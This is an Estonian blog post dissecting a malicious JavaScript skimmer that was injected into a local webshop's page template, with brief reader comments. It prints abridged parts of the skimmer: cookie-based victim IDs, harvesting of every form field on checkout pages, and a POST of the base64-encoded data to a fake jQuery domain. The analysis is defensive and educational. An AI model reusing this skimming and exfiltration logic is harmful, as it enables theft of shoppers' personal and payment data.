Tuntud veebipoode nakatanud pahavara luubi all

Andris Reinman
Jaga:

Antud blogipostitus on 92 kuud vana ning ei pruugi olla enam ajakohane.

Ilmselt ei jäänud kellelgi märkamata eelmise nädala uudis pahavaraga nakatunud ja seetõttu krediitkaardi andmeid varastavate kohalike veebipoodide kohta. Probleem on reaalne, veebipoed olid tõepoolest nakatunud krediitkaardinumbreid varastava pahavaraga, samas võimalik kahju – vähemalt kohalike veebipoodide klientide jaoks – on tõenäoliselt väike või täiesti olematu.

Et aru saada, milles üldse küsimus, võtame näitena ühe tuntud veebipoe, mis nakatus selle aasta veebruari alguses ja oli seda kuni eelmise nädalani. Mõne turvaaugu kaudu (tõenäoliselt shoplift) oli lisatud veebipoe templiidifaili JavaScripti koodiblokk, mis tõmmati seeläbi käima igal lehevaatamisel. Vaatamegi nüüd, et mida see konkreetne kood siis selles veebipoes teha üritas.

Rakenduse skoop on asetatud objekti nimega grelos_v sisse:

var grelos_v = {
  snd: null,
  Glink: 'https://jquery-cloud.net/code/jquery.min.js',
  ...
}

Esimese asjana märkame kohe huvitavat viidet jQuery teegi pihta. Iseenesest sellest polekski midagi erilist, aga siinkohal on tegu pettusega. Nimelt oli jquery-cloud.net pahavara serveeriv veebiserver, mis tänaseks on juba suletud. Taoline nimetus on valitud ainult juhusliku vaataja eksitamiseks, reaalselt jQuery teegiga siin midagi pistmist ei ole. Sündmustest ette rutates võib mainida, et tegu oli veebiaadressiga, kuhu pahavara saatis kasutaja kohta kogutud informatsiooni.

myid: (function (name) {
  var matches = document.cookie.match(new RegExp('(?:^|; )' ...
  return matches ? decodeURIComponent(matches[1]) : undefined;
})('setidd') || (function () {
  ...
  var myid = ms.getTime() + "-" + ...
  document.cookie = 'setidd=' + myid + '; path=/; expires=' ...;
  return myid;
})()

Järgmiseks paneb skript paika omaduse myid, millele loetakse väärtus brauseri küpsistest, kus kasutatud küpsise võtmeks on mittemidagiütlev setidd. Juhul kui sellist küpsist ei leita, genereeritakse uus väärtus, mis koosneb hetke ajast ja juhuslikust numbrist. Seda väärtust on hiljem vaja erinevate kasutajate andmete eraldamiseks.

base64_encode: function (data) {
  var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu...
  ...
  return enc;
}

Siin ei olegi mõtet pikemat midagi arutada, nimi ütleb kõik. Funktsioon võtab sisendiks mingi väärtuse ja tagastab selle base64 kodeeringus.

clk: function () {
  var inp = document.querySelectorAll(
    "input, select, textarea, checkbox, button");
  for (var i = 0; i < inp.length; i++) {
    ...
      grelos_v.snd += inp[i].name + '=' + inp[i].value + '&';
}

See on juba huvitavam funktsioon. Nimelt otsitakse lehelt üles kõik vormielemendid ning nende väärtustest koostatakse serialiseeritud string, mis näeb natukene välja nagu www-form-urlencoded väärtus, kuigi rangelt võttes see seda siiski pole.

send: function () {
 ...
}

Nüüd jõuame rakenduse tuumani ehk funktsioonini send(). Kuna see on kõige olulisem rakenduse osa, siis vaatame selle sisu veidi lähemalt

var btn = document.querySelectorAll(
  "a[href*='javascript:void(0)'],button, input, submit, .btn, .button"
);

Funktsiooni käivitumisel otsitakse lehelt üles kõik vormielemendid, mis võiksid olla nupud. Selle jaoks kõlbavad nii <button> elemendid, elemendid CSS klassiga .btn kui ka tavalised lingid, mis kuhugi ei vii.

for (var i = 0; i < btn.length; i++) {
  var b = btn[i];
  if (b.type != 'text' && b.type != 'select' && ...
    if (b.addEventListener) {
      b.addEventListener('click', grelos_v.clk, false);
 ...

Kui nupu-laadsed elemendid on lehelt üles leitud, võetakse need ükshaaval tsükliga ette ning kontrollitakse ega tegu ei ole mõne tavalise vormielemendiga, näiteks <select> või checkbox vmt. Juhul kui ei ole, siis eeldab rakendus, et tegu ongi nupuga ja lisab sellele väidetavale nupuelemendile uue ‘click’ sündmuse, mis käivitab juba eespool nimetatud clk() meetodi.

var frm = document.querySelectorAll('form');
  for (vari = 0; i < frm.length; i++) {
    if (frm[i].addEventListener) {
      frm[i].addEventListener('submit', grelos_v.clk, false);
  ...

Siin toimub sisuliselt sama asi, ainult et nuppude asemel otsitakse lehelt kõik vormid ja lisatakse funktsiooni clk() rakendumine vormi sündmuse ‘submit’ jaoks, mis rakendub tol hetkel, kui brauser valmistub vormi andmeid veebipoe serverile saatma.

Seega siinkohal oleme sellises seisus, et kui lehel on mõni nupp ja kasutaja sellel klikib (rakendub ‘click’ või ‘submit’ sündmus), otsib funktsioon clk() lehelt üles kõik vormielemendid ja salvestab need muutujasse snd. Iseenesest on pahavara jaoks see juba üsna väärtuslik info, aga momendil on sellest veel vähe kasu, kuna see väärtus on endiselt kasutaja brauseri mälus. Vaatame aga, et mis edasi saab.

if (grelos_v.snd != null) {
  var domm = location.hostname.split('.').slice(0).join('_');
  var keym = grelos_v.base64_encode(grelos_v.snd);
  ...
  http.open('POST', grelos_v.Glink, true);
  ...
  http.send(
    'info=' + keym + '&hostname=' + domm + '&key=' + grelos_v.myid);
}

Siin toimubki siis andmete reaalne saatmine serverisse, kus pahavara keskusena on kasutusel eespool toodud võlts-jQuery link. Saadetavateks andmeteks on veebipoe domeeninimi, küpsisest võetud kasutaja ID ning base64 kodeeritult snd omadusse salvestatud vormiväljade andmed.

Ilmselgelt võiks sellise andmete edastamisega kiirelt vahele jääda, kuna nuppe on lehekülgedel palju. Liigse andmete saatmise välistab järgmine koodijupp, mis kogu kupatuse lõpuks käima tõmbab.

if (
  new RegExp('onepage|checkout|onestep', 'gi').test(window.location)
) {
 grelos_v.send();
}

Seega rakendub kogu loogika ainult nendel veebilehtele, mille veebiaadressi järgi võib arvata, et tegu on makse sooritamise lehega. Muudel lehtedel, näiteks niisama veebipoes ringi surfates, jääb pahavara kood rakendumata ja mingeid andmeid kuskile ei saadeta.

Niisiis, milles üldse probleem? Pahavara on ju üsna lihtsakoeline, mis teema nende krediitkaartidega siis on? Krediitkaartidega seob pahavara see, et traditsiooniliselt tuleb veebipoes tellimusvormi täitmisel sisestada ka oma krediitkaardi numbrid. Kui nüüd veebipoe klient on sellisel vormil andmed ära täitnud ja klikib nupul “Kinnita tellimus”, siis lisaks “päris”-kinnitusele ehk sisestatud andmete edastamisele veebipoe serverile, teeb brauser veel ühe päringu – pahavara poolt määratud veebiaadressile koos kõigi lehel olevate vormiväljade andmetega. Kui vormis olid toodud krediitkaardi numbrid, siis ongi pahalasel need väärtused nüüd kenasti käes.

Tagasi tulles kohalike veebipoodide juurde, miks ma julgen arvata, et rahalist kahju peaaegu et ei olnud või oli see väga väike. Nimelt on küsimus meie väljakujunenud online maksete süsteemis. Kuigi praeguseks suurem osa veebipoode juba võtab krediitkaardimakseid vastu (peamiselt domineerivad endiselt hoopis pangalingi protokollile ehitatud ülekanded), siis tehakse seda reeglina läbi kolmanda osapoole, olgu selleks siis Estcard (endine Pankade Kaardikeskus), Maksekeskus või kasvõi PayPal, kuna erinevalt näiteks USA veebipoodidest, ei ole meie kohalikel veebipoodidel reeglina õigust ise neid numbreid koguda. Kõik mainitud teenused suunavad kasutaja kaardinumbrite sisestamiseks veebipoe lehelt ära ja veebipood ning seega ka veebipoes paiknev pahavara neid numbreid kunagi ei näe.

Estcard ja PayPal suunavad kasutaja makse teostamiseks oma veebisaidile, Maksekeskus ning välismaised Recurly, Stripe jmt. jälle kuvavad veebipoe lehel maksevormi läbi oma <iframe> lehe, millele veebipood ise samuti ligi ei pääse. Kasutaja jaoks tundub selline <iframe> maksevorm olevat veebipoe osa, kuid tegelikkuses on see vaid illusoorne seos, veebipoe lehel käivituva JavaScripti jaoks on see täielik must kast, mille kohta on võimalik teada saada vaid selle elemendi mõõtmed, kuid mitte midagi selle elemendi sisu kohta.

Veebipood, milles asuvat pahavara koodi ma siinkohal vaatasin, kasutaski maksete kogumiseks Maksekeskuse teenust ja seega võis pahavara koguda kasutaja kohta küll mingeid andmeid, mis paraku võisid olla isegi üsna privaatsed (nimi, telefoninumber, aadress jne), kuid kasutaja krediitkaardi või muid makse andmeid see pahavara kunagi näha ei saanud.

See kõik aga ei tähenda, et kohalikud veebikaupmehed võiksid ennast mugavalt tunda ja turvalisusele mitte mõelda. Kaugel sellest. Esiteks on ka niisama privaatsete isikuandmete leke päris suur probleem (vaadeldud veebipood saatis üle poole aasta kõikide klientide andmed kes teab kuhu) ja teiseks, kui maksevormid suunduvad kolmanda osapoole serverisse, kuhu pahavaral ligipääs puudub, võib oodata tulevikus palju keerukamaid lahendusi, mis võltsivad sarnaselt tavalisele phishingule juba maksevormide vaateid ja korjavad need numbrid ikkagi kokku. Praegu kohalikel kaupmeestel veel vedas, aga seda vedamist ei pruugi väga pikalt jätkuda.

Samal teemal:

Kommentaarid

3 kommentaari
  • Küsimus mis ootaks vastust ja kommentaari:
    Kas sarnaselt saab ka kokku koguga kasutaja harjumusi ning ostunimekirju?

    PS! Et teised kah teada saaks, jätke vastus siia, mitte allolevale e-posti aadressile

    • Jah, saaks küll, kuid pahavara jaoks ei ole see mõistlik tegevus (seda teadmist ei saa piisavalt kiirelt rahaks vahetada). Küll aga võivad taolist arvestust pidada igasugu kolmanda osapoole pluginad, mis veebipoe lehele on lisatud.

    • Lisaks Andrise mainitule – kuna selle koodi paigaldamiseks peab veebirakendus (pood) olema kurjategijate poolt üle võetud – siis sisuliselt on neile teada kõik, mis nt Magentos kirjas (selleks pole vaja isegi kasutajaid ükshaaval jälgida). Ostuajalugu, poe käive ja hinnavalemid, liidestus raamatupidamistarkvaraga, saadetaval arvel olevad makserekvisiidid jne jne jne. Kui vaja saab ka korraks huvipakkuva toote alla hinnata. Need andmed on aga raskemini ära kasutatavad, nt peaks leidma konkurendi kellele maha müüa või hakkama kliente ükshaaval pommitama.

      Aga põhimõtteliselt saab tõesti samal moel kätte ka ostukorvi sisu jne. Paigalda või oma Google Analytics 🙂

Kommentaarid suletud.

Populaarsed postitused

"Pilve pole olemas. On lihtsalt kellegi teise arvuti."

Ardi Jürgens
Mis ikkagi on pilveteenus, kuidas see keerukas süsteem töötab ning kuidas me tulime mõne nädala eest toime ühe jõudlust pärssinud ootamatusega....

Saabub OpenSSL 3 tugi - ka aegunud PHP versioonidele

Ingmar Aasoja
Zone veebimajutusplatvormi aluseks olevat ZoneOS operatsioonisüsteemi ootab ees suurem uuendus: juurutame OpenSSL 3. versiooni. See muutus mõjutab pea...

Uuendame NodeJS ja Python vaikeversioone

Ingmar Aasoja
Juunis 2024 hakkame Zone platvormi järk-järgult l uuendama NodeJS ja Python vaikeversioone, mistõttu palume käesoleva kirjatükiga tähelepanu just...

Veelkord aegunud PHP versioonidest

Kaarel Urva
Mäletatavasti teavitasime aprilli lõpus kliente sellest, et aegunud PHP versioonide kasutamine muutub tasuliseks. Mõistetavasti tuli see uudis paljudele...